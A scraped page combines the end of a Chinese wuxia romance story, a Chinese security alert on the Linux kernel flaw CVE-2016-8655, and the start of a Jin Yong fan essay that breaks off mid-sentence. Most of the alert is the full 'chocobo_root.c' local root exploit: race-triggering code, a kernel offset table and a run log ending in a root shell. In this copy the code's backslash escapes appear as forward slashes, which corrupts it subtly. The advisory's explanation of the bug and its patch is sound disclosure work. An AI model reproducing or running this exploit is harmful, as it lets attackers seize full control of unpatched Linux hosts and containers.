    “我会看到你的脸。”

    ……

    因她办事利索,没过几年就成为女皇身边最信任的人,一人之下万人之上。连许多朝中宰相都要让她三分,足见她当时的地位。

    看着她的风光,有谁能想到她曾经是一个被全村孩子嫌弃的姑娘?又有谁能想到今日辉煌的她,曾经,也只想简简单单的当个女儿家,过完这一生?

    人生起起伏伏,谁也不能风光一辈子,巧姑娘也不例外。

    后来发生了神龙政变,女皇被软禁了。

    在逮捕女皇陛下的时候,并未看到曾经那个秀气的少年郎。只是在大漠的边缘,有一次有一个姓彭的少年郎,忽遇群狼。在群狼即将将少年吞于口腹之时,有一抹白色的身影出现,还是满地的白玉兰。一朵又一朵的白玉兰飞出,一声又一声的嗷叫。趁着狼群大乱之时,带着少年郎冲出狼群的包围,一路向西行去。少年郎平安回到家中,从此再也未曾见过。

    后来又有江湖传闻说背影白玉兰与一个姓佐的侠士归隐山林,走完了余生。

    后记

    背影杀手白玉兰

    图片来自潘姑娘啊潘姑娘

    “佐大侠,等等我。小女子走不动了”

    “呦,堂堂的背影杀手玉兰花,你居然这么没用。”

    “佐大侠,请您重复一遍您刚才所说的话”

    “我才不?来,上马,我背你。”

    “佐大侠,你说真的吗?”

    “真的”

    “那,我就上去啦!哈”顺势一跳。

    “我的阿巧,你该减少食物了,看你重的。”

    “好啦好啦。啰嗦。不过,话说回来,你怎么知道我往西走,那个时候”

    “谁人不晓得佐侠士外号狗鼻子,鼻子很灵验的,你下次使用武器能不能不要用白玉兰,这样你跑了我都能够把你找回来。再说了,如果不是我在你后面帮你杀了那群狼,你真的以为你和那个少年郎能够安全逃脱。还有啊,不要再让我说你了,下次别逞什么英雄。记住没。”

    “好啦好啦好啦。佐侠士,停,就这样。别说啦。你再说我摇你。”

    “你敢摇就给你摔下来。”

    “佐侠士你敢,你要是敢的话我就把你包里那些陈年铁观音给扔了。让你天天喝白水。”

    “我的阿巧,我怎么敢摔你呢?心疼都来不及。”

    ……

    背影杀手白玉兰

    图片来自网络

    END

  • 【漏洞预警】CVE-2016-8655:Linux内核竞争条件漏洞,可致本地提权 (附PoC)

    Seclists.org最新披露了Linux的竞争条件漏洞,漏洞编号为CVE-2016-8655。此漏洞可用于从低权限进程中执行内核代码。

    漏洞编号

    CVE-2016-8655

    漏洞概述

    【漏洞预警】CVE-2016-8655:Linux内核竞争条件漏洞,可致本地提权 (附PoC)

    Philip Pettersson在Linux (net/packet/af_packet.c)发现条件竞争漏洞,此漏洞可用于从未授权进程中执行内核代码。攻击者只需要本地低权限,就能利用该漏洞致拒绝服务(系统崩溃)或者以管理员权限执行任意代码

    packet_set_ring在创建ring buffer的时候,如果packet版本为TPACKET_V3,则会初始化struct timer_list。在packet_set_ring完成之前,其他线程可调用setsockopt将packet版本设定为TPACKET_V1。此时先前初始化的timer不会被删除,也就形成了套接字关闭时struct timer_list中函数指针的user after free漏洞。

    这个BUG最早出现于2011年4月19号的代码中,详细参考:

    https://github.com/torvalds/linux/commit/f6fb8f100b807378fda19e83e5ac6828b638603a

    该BUG已经于2016年11月30号被修复,详细参考:

    https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=84ac7260236a49c79eede91617700174c2c19b0c

    漏洞细节

    要创建AF-PACKET套接字,在网络命名空间中就需要CAP_NET_RAW。在低权限命名空间可用的系统中(Ubuntu、Fedora等),这可以通过未授权进程获取。这个漏洞在容器中即可触发,最终攻陷主机内核。在Android系统中,带gid=3004/AID_NET_RAW的进程可创建AF_PACKET套接字,并触发该BUG。

    问题主要出在packet_set_ring()和packet_setsockopt()中。使用PACKET_RX_RING选项在socket中调用setsockopt(),就能搞定packet_set_ring()。

    如果packet套接字版本为TPCKET_V3,调用init_prb_bdqc()的时候,packet_set_ring()就会对timer_list对象进行初始化。

    ...

                    switch (po->tp_version) {

                    case TPACKET_V3:

                    /* Transmit path is not supported. We checked

                     * it above but just being paranoid

                     */

                            if (!tx_ring)

                                    init_prb_bdqc(po, rb, pg_vec, req_u);

                            break;

                    default:

                            break;

                    }

    ...

    创建timer的函数流为:

    packet_set_ring()->init_prb_bdqc()->prb_setup_retire_blk_timer()->

    prb_init_blk_timer()->prb_init_blk_timer()->init_timer()

    该套接字关闭时,packet_set_ring()会再度被调用,来释放ring buffer,并删除先前初始化的timer(当packet版本大于TPACKET_V2时):

    ...

            if (closing && (po->tp_version > TPACKET_V2)) {

                    /* Because we don't support block-based V3 on tx-ring */

                    if (!tx_ring)

                            prb_shutdown_retire_blk_timer(po, rb_queue);

            }

    ...

    此处的问题就出在,在init_prb_bdqc()执行之后,packet_set_ring()返回之前,我们可以将packet版本改为TPACKET_V1。

    不过ring buffer被初始化之后,会存在拒绝修改套接字版本的情况,但这也根本不是什么问题:

    ...

            case PACKET_VERSION:

            {

    ...

                    if (po->rx_ring.pg_vec || po->tx_ring.pg_vec)

                            return -EBUSY;

    ...

    在init_prb_bdqc()和packet_set_ring()的交换(rb->pg_vec, pg_vec)调用之间,还是有足够的空间来搞定这条代码路径。

    此时,套接字关闭时,由于套接字版本已经为TPACKET_V1,packet_set_ring()就不会删除timer。描绘timer对象的struct timer_list位于struct packet_sock中,调用kfree()就会释放。

    随后timer对象之上就形成了use after free漏洞,可被各种针对SLAB分配器的攻击利用。最终timer过期后,就可导致内核跳转至构建的函数指针。

    在packet_setsockopt()中用lock_sock(sk),同时在packet_set_ring()起始就锁定packet版本即可解决问题。

    新版Ubuntu内核已经放出,用户升级至新版Ubuntu即可解决问题。

    漏洞PoC

    按照发现该漏洞的作者Philip Pettersson所说,漏洞PoC会在明天放出…

    PoC地址:https://www.exploit-db.com/exploits/40871/

    /* chocobo_root.c linux AF_PACKET race condition exploit exploit for Ubuntu 16.04 x86_64  vroom vroom *=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*= user@ubuntu:~$ uname -a Linux ubuntu 4.4.0-51-generic #72-Ubuntu SMP Thu Nov 24 18:29:54 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux user@ubuntu:~$ id uid=1000(user) gid=1000(user) groups=1000(user) user@ubuntu:~$ gcc chocobo_root.c -o chocobo_root -lpthread user@ubuntu:~$ ./chocobo_root linux AF_PACKET race condition exploit by rebel kernel version: 4.4.0-51-generic #72 proc_dostring = 0xffffffff81088090 modprobe_path = 0xffffffff81e48f80 register_sysctl_table = 0xffffffff812879a0 set_memory_rw = 0xffffffff8106f320 exploit starting making vsyscall page writable..  new exploit attempt starting, jumping to 0xffffffff8106f320, arg=0xffffffffff600000 sockets allocated removing barrier and spraying.. version switcher stopping, x = -1 (y = 174222, last val = 2) current packet version = 0 pbd->hdr.bh1.offset_to_first_pkt = 48 *=*=*=* TPACKET_V1 && offset_to_first_pkt != 0, race won *=*=*=* please wait up to a few minutes for timer to be executed. if you ctrl-c now the kernel will hang. so don't do that. closing socket and verifying....... vsyscall page altered!   stage 1 completed registering new sysctl..  new exploit attempt starting, jumping to 0xffffffff812879a0, arg=0xffffffffff600850 sockets allocated removing barrier and spraying.. version switcher stopping, x = -1 (y = 30773, last val = 0) current packet version = 2 pbd->hdr.bh1.offset_to_first_pkt = 48 race not won  retrying stage.. new exploit attempt starting, jumping to 0xffffffff812879a0, arg=0xffffffffff600850 sockets allocated removing barrier and spraying.. version switcher stopping, x = -1 (y = 133577, last val = 2) current packet version = 0 pbd->
    hdr.bh1.offset_to_first_pkt = 48 *=*=*=* TPACKET_V1 && offset_to_first_pkt != 0, race won *=*=*=* please wait up to a few minutes for timer to be executed. if you ctrl-c now the kernel will hang. so don't do that. closing socket and verifying....... sysctl added!  stage 2 completed binary executed by kernel, launching rootshell root@ubuntu:~# id uid=0(root) gid=0(root) groups=0(root),1000(user)  *=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=  There are offsets included for older kernels, but they're untested so be aware that this exploit will probably crash kernels older than 4.4.  tested on: Ubuntu 16.04: 4.4.0-51-generic Ubuntu 16.04: 4.4.0-47-generic Ubuntu 16.04: 4.4.0-36-generic Ubuntu 14.04: 4.4.0-47-generic #68~14.04.1-Ubuntu  Shoutouts to: jsc for inspiration (https://www.youtube.com/watch?v=x4UDIfcYMKI) mcdelivery for delivering hotcakes and coffee  11/2016 by rebel */  #define _GNU_SOURCE #include <stdlib.h> #include <stdio.h> #include <string.h> #include <stdint.h> #include <unistd.h> #include <sys/wait.h> #include <assert.h> #include <errno.h> #include <fcntl.h> #include <poll.h> #include <sys/types.h> #include <sys/socket.h> #include <arpa/inet.h> #include <netinet/if_ether.h> #include <sys/mman.h> #include <sys/socket.h> #include <sys/stat.h> #include <linux/if_packet.h> #include <pthread.h> #include <linux/sched.h> #include <netinet/tcp.h> #include <sys/syscall.h> #include <signal.h> #include <sched.h> #include <sys/utsname.h>  volatile int barrier = 1; volatile int vers_switcher_done = 0;  struct offset {     char *kernel_version;     unsigned long proc_dostring;     unsigned long modprobe_path;     unsigned long register_sysctl_table;     unsigned long set_memory_rw; };   struct offset *off = NULL;  //99% of these offsets haven't actually been tested :)    struct offset offsets[] = {     {"4.4.0-46-generic #67~14.04.1",0xffffffff810842f0,0xffffffff81e4b100,0xffffffff81274580,0xffffffff8106b880},     {"4.4.0-47-generic #68~14.04.1",0,0,0,0},     {"4.2.0-41-generic #48",0xffffffff81083470,0xffffffff81e48920,0xffffffff812775c0,0xffffffff8106c680},     {"4.8.0-22-generic #24",0xffffffff8108ab70,0xffffffff81e47880,0xffffffff812b34b0,0xffffffff8106f0d0},     {"4.2.0-34-generic #39",0xffffffff81082080,0xffffffff81c487e0,0xffffffff81274490,0xffffffff8106b5d0},     {"4.2.0-30-generic #36",0xffffffff810820d0,0xffffffff81c487e0,0xffffffff812744e0,0xffffffff8106b620},     {"4.2.0-16-generic #19",0xffffffff81081ac0,0xffffffff81c48680,0xffffffff812738f0,0xffffffff8106b110},     {"4.2.0-17-generic #21",0,0,0,0},     {"4.2.0-18-generic #22",0,0,0,0},     {"4.2.0-19-generic #23~14.04.1",0xffffffff8107d640,0xffffffff81c497c0,0xffffffff8125de30,0xffffffff81067750},     {"4.2.0-21-generic #25~14.04.1",0,0,0,0},     {"4.2.0-30-generic #36~14.04.1",0xffffffff8107da40,0xffffffff81c4a8e0,0xffffffff8125dd40,0xffffffff81067b20},     {"4.2.0-27-generic #32~14.04.1",0xffffffff8107dbe0,0xffffffff81c498c0,0xffffffff8125e420,0xffffffff81067c60},     {"4.2.0-36-generic #42",0xffffffff81083430,0xffffffff81e488e0,0xffffffff81277380,0xffffffff8106c680},     {"4.4.0-22-generic #40",0xffffffff81087d40,0xffffffff81e48f00,0xffffffff812864d0,0xffffffff8106f370},     {"4.2.0-18-generic #22~14.04.1",0xffffffff8107d620,0xffffffff81c49780,0xffffffff8125dd10,0xffffffff81067760},     {"4.4.0-34-generic #53",0xffffffff81087ea0,0xffffffff81e48f80,0xffffffff81286ed0,0xffffffff8106f370},     {"4.2.0-22-generic #27",0xffffffff81081ad0,0xffffffff81c486c0,0xffffffff81273b20,0xffffffff8106b100},     {"4.2.0-23-generic #28",0,0,0,0},     {"4.2.0-25-generic #30",0,0,0,0},     {"4.4.0-36-generic #55",0xffffffff81087ea0,0xffffffff81e48f80,0xffffffff81286e50,0xffffffff8106f360},     {"4.2.0-42-generic #49",0xffffffff81083490,0xffffffff81e489a0,0xffffffff81277870,0xffffffff8106c680},     {"4.4.0-31-generic #50",0xffffffff81087ea0,0xffffffff81e48f80,0xffffffff81286e90,0xffffffff8106f370},     {"4.4.0-22-generic #40~14.04.1",0xffffffff81084250,0xffffffff81c4b080,0xffffffff81273de0,0xffffffff8106b9d0},     {"4.2.0-38-generic #45",0xffffffff810833d0,0xffffffff81e488e0,0xffffffff81277410,0xffffffff8106c680},     {"4.4.0-45-generic #66",0xffffffff81087fc0,0xffffffff81e48f80,0xffffffff812874c0,0xffffffff8106f320},     {"4.2.0-36-generic #42~14.04.1",0xffffffff8107ffd0,0xffffffff81c499e0,0xffffffff81261ea0,0xffffffff81069d00},     {"4.4.0-45-generic #66~14.04.1",0xffffffff81084260,0xffffffff81e4b100,0xffffffff81274340,0xffffffff8106b880},     {"4.2.0-22-generic #27~14.04.1",0xffffffff8107d640,0xffffffff81c497c0,0xffffffff8125deb0,0xffffffff81067750},     {"4.2.0-25-generic #30~14.04.1",0,0,0,0},     {"4.2.0-23-generic #28~14.04.1",0,0,0,0},     {"4.4.0-46-generic #67",0xffffffff81088040,0xffffffff81e48f80,0xffffffff81287800,0xffffffff8106f320},     {"4.4.0-47-generic #68",0,0,0,0},     {"4.4.0-34-generic #53~14.04.1",0xffffffff81084160,0xffffffff81c4b100,0xffffffff81273c40,0xffffffff8106b880},     {"4.4.0-36-generic #55~14.04.1",0xffffffff81084160,0xffffffff81c4b100,0xffffffff81273c60,0xffffffff8106b890},     {"4.4.0-31-generic #50~14.04.1",0xffffffff81084160,0xffffffff81c4b100,0xffffffff81273c20,0xffffffff8106b880},     {"4.2.0-38-generic #45~14.04.1",0xffffffff8107fdc0,0xffffffff81c4a9e0,0xffffffff81261540,0xffffffff81069bf0},     {"4.2.0-35-generic #40",0xffffffff81083430,0xffffffff81e48860,0xffffffff81277240,0xffffffff8106c680},     {"4.4.0-24-generic #43~14.04.1",0xffffffff81084120,0xffffffff81c4b080,0xffffffff812736f0,0xffffffff8106b880},     {"4.4.0-21-generic #37",0xffffffff81087cf0,0xffffffff81e48e80,0xffffffff81286310,0xffffffff8106f370},     {"4.2.0-34-generic #39~14.04.1",0xffffffff8107dc50,0xffffffff81c498e0,0xffffffff8125e830,0xffffffff81067c90},     {"4.4.0-24-generic #43",0xffffffff81087e60,0xffffffff81e48f00,0xffffffff812868f0,0xffffffff8106f370},     {"4.4.0-21-generic #37~14.04.1",0xffffffff81084220,0xffffffff81c4b000,0xffffffff81273a30,0xffffffff8106b9d0},     {"4.2.0-41-generic #48~14.04.1",0xffffffff8107fe20,0xffffffff81c4aa20,0xffffffff812616c0,0xffffffff81069bf0},     {"4.8.0-27-generic #29",0xffffffff8108ab70,0xffffffff81e47880,0xffffffff812b3490,0xffffffff8106f0d0},     {"4.8.0-26-generic #28",0,0,0,0},     {"4.4.0-38-generic #57",0xffffffff81087f70,0xffffffff81e48f80,0xffffffff81287470,0xffffffff8106f360},     {"4.4.0-42-generic #62~14.04.1",0xffffffff81084260,0xffffffff81e4b100,0xffffffff81274300,0xffffffff8106b880},     {"4.4.0-38-generic #57~14.04.1",0xffffffff81084210,0xffffffff81e4b100,0xffffffff812742e0,0xffffffff8106b890},     {"4.4.0-49-generic #70",0xffffffff81088090,0xffffffff81e48f80,0xffffffff81287d40,0xffffffff8106f320},     {"4.4.0-49-generic #70~14.04.1",0xffffffff81084350,0xffffffff81e4b100,0xffffffff81274b10,0xffffffff8106b880},     {"4.2.0-21-generic #25",0xffffffff81081ad0,0xffffffff81c486c0,0xffffffff81273aa0,0xffffffff8106b100},     {"4.2.0-19-generic #23",0,0,0,0},     {"4.2.0-42-generic #49~14.04.1",0xffffffff8107fe20,0xffffffff81c4aaa0,0xffffffff81261980,0xffffffff81069bf0},     {"4.4.0-43-generic #63",0xffffffff81087fc0,0xffffffff81e48f80,0xffffffff812874b0,0xffffffff8106f320},     {"4.4.0-28-generic #47",0xffffffff81087ea0,0xffffffff81e48f80,0xffffffff81286df0,0xffffffff8106f370},     {"4.4.0-28-generic #47~14.04.1",0xffffffff81084160,0xffffffff81c4b100,0xffffffff81273b70,0xffffffff8106b880},     {"4.9.0-1-generic #2",0xffffffff8108bbe0,0xffffffff81e4ac20,0xffffffff812b8400,0xffffffff8106f390},     {"4.8.0-28-generic #30",0xffffffff8108ae10,0xffffffff81e48b80,0xffffffff812b3690,0xffffffff8106f0e0},     {"4.2.0-35-generic #40~14.04.1",0xffffffff8107fff0,0xffffffff81c49960,0xffffffff81262320,0xffffffff81069d20},     {"4.2.0-27-generic #32",0xffffffff810820c0,0xffffffff81c487c0,0xffff
    ffff81274150,0xffffffff8106b620},     {"4.4.0-42-generic #62",0xffffffff81087fc0,0xffffffff81e48f80,0xffffffff812874a0,0xffffffff8106f320},     {"4.4.0-51-generic #72",0xffffffff81088090,0xffffffff81e48f80,0xffffffff812879a0,0xffffffff8106f320}, //{"4.8.6-300.fc25.x86_64 #1 SMP Tue Nov 1 12:36:38 UTC 2016",0xffffffff9f0a8b30,0xffffffff9fe40940,0xffffffff9f2cfbf0,0xffffffff9f0663b0},     {NULL,0,0,0,0} };  #define VSYSCALL 0xffffffffff600000  #define PAD 64  int pad_fds[PAD];  struct ctl_table {     const char *procname;     void *data;     int maxlen;     unsigned short mode;     struct ctl_table *child;     void *proc_handler;     void *poll;     void *extra1;     void *extra2; };  #define CONF_RING_FRAMES 1  struct tpacket_req3 tp; int sfd; int mapped = 0;  struct timer_list {     void *next;     void *prev;     unsigned long           expires;     void                    (*function)(unsigned long);     unsigned long           data;     unsigned int                     flags;     int                     slack; };  void *setsockopt_thread(void *arg) {     while(barrier) {     }     setsockopt(sfd, SOL_PACKET, PACKET_RX_RING, (void*) &tp, sizeof(tp));      return NULL; }  void *vers_switcher(void *arg) {     int val,x,y;      while(barrier) {}      while(1) {         val = TPACKET_V1;         x = setsockopt(sfd, SOL_PACKET, PACKET_VERSION, &val, sizeof(val));          y++;          if(x != 0) break;          val = TPACKET_V3;         x = setsockopt(sfd, SOL_PACKET, PACKET_VERSION, &val, sizeof(val));          if(x != 0) break;          y++;     }      fprintf(stderr,"version switcher stopping, x = %d (y = %d, last val = %d)/n",x,y,val);     vers_switcher_done = 1;       return NULL; }  #define BUFSIZE 1408 char exploitbuf[BUFSIZE];  void kmalloc(void) {     while(1)         syscall(__NR_add_key, "user","wtf",exploitbuf,BUFSIZE-24,-2); }   void pad_kmalloc(void) {     int x;      for(x=0; x<PAD; x++)         if(socket(AF_PACKET,SOCK_DGRAM,htons(ETH_P_ARP)) == -1) {             fprintf(stderr,"pad_kmalloc() socket error/n");             exit(1);         }  }  int try_exploit(unsigned long func, unsigned long arg, void *verification_func) {     pthread_t setsockopt_thread_thread,a;     int val;     socklen_t l;     struct timer_list *timer;     int fd;     struct tpacket_block_desc *pbd;     int off;     sigset_t set;      sigemptyset(&set);      sigaddset(&set, SIGSEGV);      if(pthread_sigmask(SIG_BLOCK, &set, NULL) != 0) {         fprintf(stderr,"couldn't set sigmask/n");         exit(1);     }      fprintf(stderr,"new exploit attempt starting, jumping to %p, arg=%p/n",(void *)func,(void *)arg);      pad_kmalloc();      fd=socket(AF_PACKET,SOCK_DGRAM,htons(ETH_P_ARP));      if (fd==-1) {         printf("target socket error/n");         exit(1);     }      pad_kmalloc();      fprintf(stderr,"sockets allocated/n");      val = TPACKET_V3;      setsockopt(fd, SOL_PACKET, PACKET_VERSION, &val, sizeof(val));      tp.tp_block_size = CONF_RING_FRAMES * getpagesize();     tp.tp_block_nr = 1;     tp.tp_frame_size = getpagesize();     tp.tp_frame_nr = CONF_RING_FRAMES;  //try to set the timeout to 10 seconds //the default timeout might still be used though depending on when the race was won     tp.tp_retire_blk_tov = 10000;      sfd = fd;      if(pthread_create(&setsockopt_thread_thread, NULL, setsockopt_thread, (void *)NULL)) {         fprintf(stderr, "Error creating thread/n");         return 1;     }       pthread_create(&a, NULL, vers_switcher, (void *)NULL);      usleep(200000);      fprintf(stderr,"removing barrier and spraying../n");      memset(exploitbuf,'/x00',BUFSIZE);      timer = (struct timer_list *)(exploitbuf+(0x6c*8)+6-8);     timer->next = 0;     timer->prev = 0;      timer->expires = 4294943360;     timer->function = (void *)func;     timer->data = arg;     timer->flags = 1;     timer->slack = -1;       barrier = 0;      usleep(100000);      while(!vers_switcher_done)usleep(100000);      l = sizeof(val);     getsockopt(sfd, SOL_PACKET, PACKET_VERSION, &val, &l);      fprintf(stderr,"current packet version = %d/n",val);      pbd = mmap(0, tp.tp_block_size * tp.tp_block_nr, PROT_READ | PROT_WRITE, MAP_SHARED, sfd, 0);       if(pbd == MAP_FAILED) {         fprintf(stderr,"could not map pbd/n");         exit(1);     }      else {         off = pbd->hdr.bh1.offset_to_first_pkt;         fprintf(stderr,"pbd->hdr.bh1.offset_to_first_pkt = %d/n",off);     }       if(val == TPACKET_V1 && off != 0) {         fprintf(stderr,"*=*=*=* TPACKET_V1 && offset_to_first_pkt != 0, race won *=*=*=*/n");     }      else {         fprintf(stderr,"race not won/n");         exit(2);     }      munmap(pbd, tp.tp_block_size * tp.tp_block_nr);      pthread_create(&a, NULL, verification_func, (void *)NULL);      fprintf(stderr,"please wait up to a few minutes for timer to be executed. if you ctrl-c now the kernel will hang. so don't do that./n");     sleep(1);     fprintf(stderr,"closing socket and verifying..");      close(sfd);      kmalloc();      fprintf(stderr,"all messages sent/n");      sleep(31337);     exit(1); }   int verification_result = 0;  void catch_sigsegv(int sig) {     verification_result = 0;     pthread_exit((void *)1); }   void *modify_vsyscall(void *arg) {     unsigned long *vsyscall = (unsigned long *)(VSYSCALL+0x850);     unsigned long x = (unsigned long)arg;      sigset_t set;     sigemptyset(&set);     sigaddset(&set, SIGSEGV);      if(pthread_sigmask(SIG_UNBLOCK, &set, NULL) != 0) {         fprintf(stderr,"couldn't set sigmask/n");         exit(1);     }      signal(SIGSEGV, catch_sigsegv);      *vsyscall = 0xdeadbeef+x;      if(*vsyscall == 0xdeadbeef+x) {         fprintf(stderr,"/nvsyscall page altered!/n");         verification_result = 1;         pthread_exit(0);     }      return NULL; }  void verify_stage1(void) {     int x;     pthread_t v_thread;      sleep(5);      for(x=0; x<300; x++) {          pthread_create(&v_thread, NULL, modify_vsyscall, 0);          pthread_join(v_thread, NULL);          if(verification_result == 1) {             exit(0);         }          write(2,".",1);         sleep(1);     }      printf("could not modify vsyscall/n");      exit(1); }  void verify_stage2(void) {     int x;     struct stat b;      sleep(5);      for(x=0; x<300; x++) {          if(stat("/proc/sys/hack",&b) == 0) {             fprintf(stderr,"/nsysctl added!/n");             exit(0);         }          write(2,".",1);         sleep(1);     }      printf("could not add sysctl/n");     exit(1);   }  void exploit(unsigned long func, unsigned long arg, void *verification_func) {     int status;     int pid;  retry:      pid = fork();      if(pid == 0) {         try_exploit(func, arg, verification_func);         exit(1);     }      wait(&status);      printf("/n");      if(WEXITSTATUS(status) == 2) {         printf("retrying stage../n");         kill(pid, 9);         sleep(2);         goto retry;     }      else if(WEXITSTATUS(status) != 0) {         printf("something bad happened, aborting exploit attempt/n");         exit(-1);     }        kill(pid, 9); }   void wrapper(void) {     struct ctl_table *c;      fprintf(stderr,"exploit starting/n");     printf("making vsyscall page writable../n/n");      exploit(off->set_memory_rw, VSYSCALL, verify_stage1);      printf("/nstage 1 completed/n");      sleep(5);      printf("registering new sysctl../n/n");      c = (struct ctl_table *)(VSYSCALL+0x850);      memset((char *)(VSYSCALL+0x850), '/x00', 1952);      strcpy((char *)(VSYSCALL+0xf00),"hack");     memcpy((char *)(VSYSCALL+0xe00),"/x01/x00/x00/x00",4);     c->procname = (char *)(VSYSCALL+0xf00);     c->mode = 0666;     c->proc_handler = (void *)(off->proc_dostring);     c->data = (void *)(off->modprobe_path);     c->maxlen=256;     c->extra1 = (void *)(VSYSCALL+0xe00);     c->extra2 = (void *)(VSYSCALL+0xd00);      exploit(off->register_sysctl_table, VSYSCALL+0x850, verify_stage2);      printf("stage 2 completed/n"); }  void launch_rootshell(void) {     int fd;     char buf[256];
       struct stat s;       fd = open("/proc/sys/hack",O_WRONLY);      if(fd == -1) {         fprintf(stderr,"could not open /proc/sys/hack/n");         exit(-1);     }      memset(buf,'/x00', 256);      readlink("/proc/self/exe",(char *)&buf,256);      write(fd,buf,strlen(buf)+1);      socket(AF_INET,SOCK_STREAM,132);      if(stat(buf,&s) == 0 && s.st_uid == 0) {         printf("binary executed by kernel, launching rootshell/n");         lseek(fd, 0, SEEK_SET);         write(fd,"/sbin/modprobe",15);         close(fd);         execl(buf,buf,NULL);     }      else         printf("could not create rootshell/n");   }  int main(int argc, char **argv) {     int status, pid;     struct utsname u;     int i, crash = 0;     char buf[512], *f;       if(argc == 2 && !strcmp(argv[1],"crash")) {         crash = 1;     }       if(getuid() == 0 && geteuid() == 0 && !crash) {         chown("/proc/self/exe",0,0);         chmod("/proc/self/exe",06755);         exit(-1);     }      else if(getuid() != 0 && geteuid() == 0 && !crash) {         setresuid(0,0,0);         setresgid(0,0,0);         execl("/bin/bash","bash","-p",NULL);         exit(0);     }      fprintf(stderr,"linux AF_PACKET race condition exploit by rebel/n");      uname(&u);      if((f = strstr(u.version,"-Ubuntu")) != NULL) *f = '/0';      snprintf(buf,512,"%s %s",u.release,u.version);      printf("kernel version: %s/n",buf);       for(i=0; offsets[i].kernel_version != NULL; i++) {         if(!strcmp(offsets[i].kernel_version,buf)) {              while(offsets[i].proc_dostring == 0)                 i--;              off = &offsets[i];             break;         }     }      if(crash) {         off = &offsets[0];         off->set_memory_rw = 0xffffffff41414141;     }      if(off) {         printf("proc_dostring = %p/n",(void *)off->proc_dostring);         printf("modprobe_path = %p/n",(void *)off->modprobe_path);         printf("register_sysctl_table = %p/n",(void *)off->register_sysctl_table);         printf("set_memory_rw = %p/n",(void *)off->set_memory_rw);     }      if(!off) {         fprintf(stderr,"i have no offsets for this kernel version../n");         exit(-1);     }      pid = fork();      if(pid == 0) {         if(unshare(CLONE_NEWUSER) != 0)             fprintf(stderr, "failed to create new user namespace/n");          if(unshare(CLONE_NEWNET) != 0)             fprintf(stderr, "failed to create new network namespace/n");          wrapper();         exit(0);     }      waitpid(pid, &status, 0);      launch_rootshell();     return 0; }

    修复方法

    如上所述,各Linux发行版需要升级至最新版Linux内核。针对Ubuntu 16.04 LTS的安全更新已经发布。另外这篇文章讲解了在不重启服务器的情况下,就对Ubuntu Linux内核打上补丁的方案。

    【漏洞预警】CVE-2016-8655:Linux内核竞争条件漏洞,可致本地提权 (附PoC)

    相关链接

    https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-8655

    https://github.com/torvalds/linux/commit/f6fb8f100b807378fda19e83e5ac6828b638603a

    https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=84ac7260236a49c79eede91617700174c2c19b0c

    https://www.ubuntu.com/usn/usn-3151-1/

    * 参考来源:Seclists.org,转载请注明来自1024rd.COM

  • 欧阳锋的嫂子,会不会是李莫愁与小龙女的师父?

    欧阳锋的嫂子,会不会是李莫愁与小龙女的师父?

    欧阳锋在《射雕英雄传》中是重要人物,在《神雕侠侣》中分量要轻些,但也绝非可有可无之人。我们今天单说欧阳锋与女人的故事。

    首先可以确认,欧阳锋绝非不近女色之人,甚至,他还颇为好色。证据有二:一是其子欧阳克广有姬妾(从西域到北京,欧阳克偕二十四名白衣姬妾同行,甚是扎眼),欧阳锋并不反对;二是去桃花岛求亲时,欧阳锋带了一堆美女要送给黄药师,书中是这么说的——

    欧阳锋笑道:“这三十二名处女,是兄弟派人到各地采购来的,当作一点微礼,送给老友。……只是西域鄙女,论颜色是远远不及江南佳丽的了。”黄药师道:“兄弟素来不喜此道,自先室亡故,更视天下如粪土。锋兄厚礼,不敢拜领。”欧阳锋笑道:“聊作视听之娱,以遣永日,亦复何伤?”

    黄蓉看那些女子都是肤色白析,身材高大,或金发碧眼,或高鼻深目,果然和中土女子大不相同。但容貌艳丽,姿态妖媚,亦自动人。

    欧阳锋手掌击了三下,八名女子取出乐器,弹奏了起来,余下二十四人翻翻起舞。……这时众女舞得更加急了,媚态百出,变幻多端,跟着双手虚抚胸臀,作出宽衣解带、投怀送抱的诸般姿态。

    通过这些描写看,欧阳锋不但四处物色美女,而且亲加调教——非好色之人,不会有这样的“雅兴”吧?

    欧阳锋的嫂子,会不会是李莫愁与小龙女的师父?

    既然欧阳锋是个逐色之人,那他一生曾与哪些女人有瓜葛?

    大家都熟悉的,是欧阳锋与其嫂有私情,欧阳克便是二人所生。可惜书中对此语焉不详,我们只知道,欧阳锋对这个独子颇为爱重,曾奔赴万里,放低身态向黄药师为其求婚;而欧阳锋后来之所以变得疯魔,虽因黄蓉的言语缠斗而起,但通过此后他定要杨过叫爸爸,而且对其舐犊情深看,欧阳克的死亡对欧阳锋的刺激是深重的。

    由这些也可知,欧阳锋对欧阳克的母亲,亦即其嫂,定也是颇为爱重的。

    除了其嫂,欧阳锋还与三个著名的女人有瓜葛。

    第一个是瑛姑。

    《射雕英雄传》中,一灯大师曾分析,因他不肯出手相帮疗伤,瑛姑与周伯通之子终于死于裘千仞之毒掌,瑛姑因此有一段奇遇——

    “她当日离开大理,心怀怨愤,定然遍访江湖好手,意欲学艺以求报仇,由此而和欧阳锋相遇。那欧阳锋得悉了她的心意,想必代她筹划了这个方策,绘了这图(尸毗王割肉舍身救鸽故事)给她。”

    关于欧阳锋与瑛姑的相逢与交往,书中也只写了这些。但仔细想来,以欧阳锋的为人,他虽欲借瑛姑之手耗费一灯功力以达到自己称雄武林的目的,但也未必便会轻易信任和帮助瑛姑,二人定是有一段过从甚密的交往。

    当然,这并非说欧阳锋与瑛姑就一定有什么男女苟且之事,只是说二人的交往定也并非泛泛。

    欧阳锋的嫂子,会不会是李莫愁与小龙女的师父?

    与欧阳锋有瓜葛的另两个女人是李莫愁及其师父。

    《神雕侠侣》中,小龙女与杨过成婚时,曾说过这样一件事——

